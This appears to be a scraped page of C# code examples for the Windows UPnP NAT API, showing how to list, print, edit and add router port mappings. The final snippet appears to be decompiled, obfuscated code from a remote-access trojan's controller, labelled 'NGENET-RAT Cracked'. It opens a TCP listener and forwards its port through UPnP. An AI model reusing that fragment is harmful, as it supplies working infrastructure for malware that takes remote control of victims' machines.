示例#1
0
 private static void PrintPortMapping(IStaticPortMapping portMapping)
 {
     Console.WriteLine("| {0,16} | {1,3} | {2,15} | {3,5} | {4,15} | {5,5} | {6,3} |", portMapping.Description, portMapping.Protocol, portMapping.ExternalIPAddress, portMapping.ExternalPort,
                       portMapping.InternalClient, portMapping.InternalPort, (portMapping.Enabled ? "(X)" : "( )"));
     //Console.WriteLine(portMapping.Description + "   " + portMapping.Protocol + "   " + portMapping.ExternalIPAddress + "   " + portMapping.ExternalPort + "   " + portMapping.InternalClient
     //    + "   " + portMapping.InternalPort + "   " + (portMapping.Enabled ? "(X)" : "( )"));
 }
示例#2
0
 private static void CheckMapping(int port, IStaticPortMapping mapping)
 {
     var localIP = GetLocalIPAddress();
     if (mapping.Description != MappingDescription) mapping.EditDescription(MappingDescription);
     if (mapping.InternalPort != port) mapping.EditInternalPort(port);
     if (mapping.InternalClient != localIP) mapping.EditInternalClient(localIP);
     if (!mapping.Enabled) mapping.Enable(true);
 }
示例#3
0
        public IEnumerable <MappingInfo> Get()
        {
            UPnPnat = new UPnPNAT();

            var portMappings = new List <MappingInfo>();

            var count      = Mappings.Count;
            var enumerator = Mappings.GetEnumerator();

            enumerator.Reset();
            for (int i = 0; i < count; i++)
            {
                IStaticPortMapping mapping = null;
                try
                {
                    if (enumerator.MoveNext())
                    {
                        mapping = (IStaticPortMapping)enumerator.Current;
                    }
                }
                catch
                {
                    //ignore
                }

                if (mapping != null)
                {
                    var info = new MappingInfo
                    {
                        Description       = mapping.Description,
                        ExternalIPAddress = mapping.ExternalIPAddress,
                        ExternalPort      = mapping.ExternalPort,
                        InternalClient    = mapping.InternalClient,
                        InternalPort      = mapping.InternalPort,
                        Protocol          = mapping.Protocol,
                    };
                    portMappings.Add(info);
                }
            }

            var portMappingInfos = new MappingInfo[portMappings.Count];

            portMappings.CopyTo(portMappingInfos);
            return(portMappingInfos);
        }
示例#4
0
        //const string paramExternalPort = "ext";
        //const string paramProtocol = "proto";
        //const string paramAddress = "ip";
        //const string paramPort = "port";
        //const string paramDisabled = "disabled";
        //const string paramEnabled = "enabled";
        //const string paramDescription = "desc";

        //private static void ParseParameters(string[] args)
        //{
        //    for(int i=1; i<args.Length; i++)
        //    {

        //    }
        //}

        private static void ListMappings(UPnPNAT upnpNAT, string[] args)
        {
            if (args.Length > 1)
            {
                FailureExit(HRESULT.E_INVALIDARG, "Parameters not yet implemented.");
            }

            IStaticPortMappingCollection staticMappings = upnpNAT.StaticPortMappingCollection;

            if (staticMappings == null)
            {
                FailureExit(HRESULT.S_FALSE, "Could not retrieve static port mappings from NAT router. This can happen if it does not support UPnP (or it is not enabled).");
            }

            Console.Write("Found " + staticMappings.Count + " port mappings");
            if (staticMappings.Count > 0)
            {
                Console.WriteLine(":");
                Console.WriteLine();

                PrintPortMappingHeader();

                IEnumerator enumerat0r = staticMappings.GetEnumerator();
                while (enumerat0r.MoveNext())
                {
                    IStaticPortMapping portMapping = enumerat0r.Current as IStaticPortMapping;
                    if (portMapping == null)
                    {
                        FailureExit(HRESULT.E_UNEXPECTED, "The port mappings just got updated or changed otherwise. Please run me again to get the current results.");
                    }

                    PrintPortMapping(portMapping);
                }

                PrintPortMappingFooter();
            }
            else
            {
                Console.WriteLine(".");
            }

            Console.WriteLine();
        }
示例#5
0
        private static void ListMappings(UPnPNAT upnpNAT, string[] args)
        {
            if (args.Length > 1)
            {
                FailureExit(HRESULT.E_INVALIDARG, "Parameters not yet implemented.");
            }

            var portMapp0r = retrievePortMapp0rOrExit(upnpNAT);


            Console.Write("Found " + portMapp0r.Count + " port mappings");
            if (portMapp0r.Count > 0)
            {
                Console.WriteLine(":");
                Console.WriteLine();

                PrintPortMappingHeader();

                IEnumerator enumerat0r = portMapp0r.GetEnumerator();
                while (enumerat0r.MoveNext())
                {
                    IStaticPortMapping portMapping = enumerat0r.Current as IStaticPortMapping;
                    if (portMapping == null)
                    {
                        FailureExit(HRESULT.E_UNEXPECTED, "The port mappings just got updated or changed otherwise. Please run me again to get the current results.");
                    }

                    PrintPortMapping(portMapping);
                }

                PrintPortMappingFooter();
            }
            else
            {
                Console.WriteLine(".");
            }

            Console.WriteLine();
            Console.WriteLine();
        }
示例#6
0
        private UPnPPort convert(IStaticPortMapping mapping)
        {
            UPnPPort port = new UPnPPort((UInt16)mapping.InternalPort, PortType.TCP, "");

            port.Description  = mapping.Description;
            port.ExternalPort = (UInt16)mapping.ExternalPort;
            port.InternalPort = (UInt16)mapping.InternalPort;
            switch (mapping.Protocol.ToUpper())
            {
            case "TCP":
                port.Type = PortType.TCP;
                break;

            case "UDP":
                port.Type = PortType.UDP;
                break;

            default:
                port.Type = PortType.BOTH;
                break;
            }
            return(port);
        }
示例#7
0
 /// <summary>
 /// Creates a new object.
 /// </summary>
 /// <param name="staticPortMapping"></param>
 public PortMapping(IStaticPortMapping staticPortMapping)
 {
     _StaticPortMapping = staticPortMapping;
 }
示例#8
0
        /// <summary>
        /// Initializes the NATUPnP service.
        /// </summary>
        internal void InitializeNATUPnPService()
        {
            try
            {
                if (NetworkManager.Instance.InternalConfiguration.NetworkPeering.NATUPnPSettings.IsEnabled)
                {
                    List <TCPServer> servers = NetworkManager.Instance.InternalLocalhost.TCPServerCollection.TCPServers;
                    if (servers.Count > 0)
                    {
                        IPAddress[] addresses = Dns.GetHostAddresses(Dns.GetHostName());
                        if (addresses != null)
                        {
                            IPAddress defAddress = null;
                            if (addresses.Length == 1)
                            {
                                defAddress = addresses[0];
                            }
                            else if (!string.IsNullOrEmpty(NetworkManager.Instance.InternalConfiguration.NetworkPeering.NATUPnPSettings.ProbeAddress))
                            {
                                // probe
                                string   probeAddress = NetworkManager.Instance.InternalConfiguration.NetworkPeering.NATUPnPSettings.ProbeAddress;
                                string[] nameAndPort  = probeAddress.Split(new string[] { ":" }, StringSplitOptions.RemoveEmptyEntries);
                                string   hostName     = string.Empty;
                                int      port         = 80;
                                hostName = nameAndPort[0];
                                if (nameAndPort.Length > 1)
                                {
                                    port = int.Parse(nameAndPort[1]);
                                }

                                System.Net.Sockets.TcpClient client = new System.Net.Sockets.TcpClient(hostName, port);
                                try
                                {
                                    defAddress = ((IPEndPoint)client.Client.LocalEndPoint).Address;
                                }
                                finally
                                {
                                    client.Close();
                                }
                            }
                            if (defAddress != null)
                            {
                                // megnézem van-e nyitott TCP szerver ezen az interface-en
                                TCPServer selectedServer = null;
                                foreach (TCPServer server in servers)
                                {
                                    if (server.EndPoint.Host.Equals(IPAddress.Any.ToString()) || server.EndPoint.Host.Equals(IPAddress.IPv6Any.ToString()) ||
                                        server.EndPoint.Host.Equals(defAddress.ToString()))
                                    {
                                        selectedServer = server;
                                        break;
                                    }
                                }
                                if (selectedServer != null)
                                {
                                    // erre a TCP szerverre és a megadott interface-en keresztül lehet portot nyitni
                                    using (UPnPManager manager = new UPnPManager())
                                    {
                                        manager.Initialize();
                                        bool exist = false;
                                        foreach (IStaticPortMapping mapping in manager.GetStaticPortMappings())
                                        {
                                            if (mapping.ExternalPort == selectedServer.EndPoint.Port && mapping.InternalClient.Equals(selectedServer.EndPoint.Host))
                                            {
                                                exist = true;
                                                if (!mapping.Enabled)
                                                {
                                                    mapping.Enable(true);
                                                }
                                                break;
                                            }
                                        }
                                        if (!exist)
                                        {
                                            if (LOGGER.IsDebugEnabled)
                                            {
                                                LOGGER.Debug(string.Format("CONNECTION_MANAGER, opening UPnP port {0} to local interface: {1}", selectedServer.EndPoint.Port, selectedServer.EndPoint.Host));
                                            }
                                            IStaticPortMapping mapping = manager.AddNATUPnPPortMapping(selectedServer.EndPoint.Port, ProtocolEnum.TCP, selectedServer.EndPoint.Port, defAddress, true, AppDomain.CurrentDomain.SetupInformation.ApplicationName);
                                            if (mapping == null)
                                            {
                                                if (LOGGER.IsErrorEnabled)
                                                {
                                                    LOGGER.Error("CONNECTION_MANAGER, failed to add UPnP port. Is there any UPnP service exist?");
                                                }
                                            }
                                            else
                                            {
                                                exist = false;
                                                foreach (NATGateway gw in NetworkManager.Instance.InternalLocalhost.NATGatewayCollection.NATGateways)
                                                {
                                                    if (gw.EndPoint.Host.Equals(mapping.ExternalIPAddress) && gw.EndPoint.Port.Equals(mapping.ExternalPort))
                                                    {
                                                        // már van ilyen szerverem
                                                        exist = true;
                                                        break;
                                                    }
                                                }
                                                if (!exist)
                                                {
                                                    NetworkManager.Instance.InternalLocalhost.NATGatewayCollection.NATGateways.Add(new NATGateway(new AddressEndPoint(mapping.ExternalIPAddress, mapping.ExternalPort)));
                                                }
                                            }
                                        }
                                    }
                                }
                            }
                        }
                    }
                }
            }
            catch (Exception ex)
            {
                if (LOGGER.IsErrorEnabled)
                {
                    LOGGER.Error("CONNECTION_MANAGER, failed to initialize NATUPnP service.", ex);
                }
            }
        }
 /// <summary>
 /// Creates a new object.
 /// </summary>
 /// <param name="staticPortMapping"></param>
 public PortMapping(IStaticPortMapping staticPortMapping)
 {
     _StaticPortMapping = staticPortMapping;
 }
 // Token: 0x06000996 RID: 2454 RVA: 0x000534A4 File Offset: 0x000516A4
 public SocketServer(int port)
 {
     Class2.zP7eVJHzSiX6G();
     base..ctor();
     this.Disconnect2 = new List <Client>();
     this.IT          = new Client[101];
     this.OFF         = false;
     this.Online2     = new Collection();
     this.SPL         = "[endof]";
     this.upnpnat     = new UPnPNATClass();
     this.mappings    = this.upnpnat.StaticPortMappingCollection;
     this.h           = Dns.GetHostByName(Dns.GetHostName());
     this.internalip  = this.h.AddressList.GetValue(0).ToString();
     try
     {
         this.S = new TcpListener(port);
         this.S.Server.SendTimeout    = -1;
         this.S.Server.ReceiveTimeout = -1;
         this.S.Start();
         Thread thread = new Thread(new ThreadStart(this.WL), 1);
         thread.Start();
         ListViewItem listViewItem = new ListViewItem();
         listViewItem.Text       = Conversions.ToString(port);
         listViewItem.ImageIndex = 6;
         if (Operators.CompareString(ima.UPNP, "YES", false) == 0)
         {
             try
             {
                 string bstrProtocol = "TCP";
                 string value        = Conversions.ToString(port);
                 this.mappings.Remove(Conversions.ToInteger(value), bstrProtocol);
             }
             catch (Exception expr_12E)
             {
                 ProjectData.SetProjectError(expr_12E);
                 ProjectData.ClearProjectError();
             }
             try
             {
                 this.mappings.Add(port, "TCP", port, this.internalip, true, "NGENET-RAT Cracked");
                 try
                 {
                     IEnumerator enumerator = this.mappings.GetEnumerator();
                     while (enumerator.MoveNext())
                     {
                         IStaticPortMapping staticPortMapping = (IStaticPortMapping)enumerator.Current;
                         string[]           items             = new string[]
                         {
                             staticPortMapping.Protocol,
                             Conversions.ToString(staticPortMapping.ExternalPort),
                             staticPortMapping.Description
                         };
                         new ListViewItem(items);
                     }
                 }
                 finally
                 {
                     IEnumerator enumerator;
                     if (enumerator is IDisposable)
                     {
                         (enumerator as IDisposable).Dispose();
                     }
                 }
                 listViewItem.SubItems.Add("Listening");
                 listViewItem.SubItems.Add(ima.UPNP);
             }
             catch (Exception expr_1FE)
             {
                 ProjectData.SetProjectError(expr_1FE);
                 listViewItem.SubItems.Add("UPnP doesn't seem to be enabled on your router");
                 listViewItem.SubItems.Add("NO");
                 ProjectData.ClearProjectError();
             }
             MyProject.Forms.Form1.Lv1.Items.Add(listViewItem);
             MyProject.Forms.Form1.Lv1.FX();
         }
         else
         {
             listViewItem.SubItems.Add("Listening");
             listViewItem.SubItems.Add("NO");
             MyProject.Forms.Form1.Lv1.Items.Add(listViewItem);
             MyProject.Forms.Form1.Lv1.FX();
         }
     }
     catch (Exception expr_2B5)
     {
         ProjectData.SetProjectError(expr_2B5);
         Exception    ex            = expr_2B5;
         ListViewItem listViewItem2 = new ListViewItem();
         listViewItem2.Text = Conversions.ToString(port);
         listViewItem2.SubItems.Add(ex.Message);
         listViewItem2.SubItems.Add("NO");
         listViewItem2.ImageIndex = 5;
         MyProject.Forms.Form1.Lv1.Items.Add(listViewItem2);
         MyProject.Forms.Form1.Lv1.FX();
         ProjectData.ClearProjectError();
     }
 }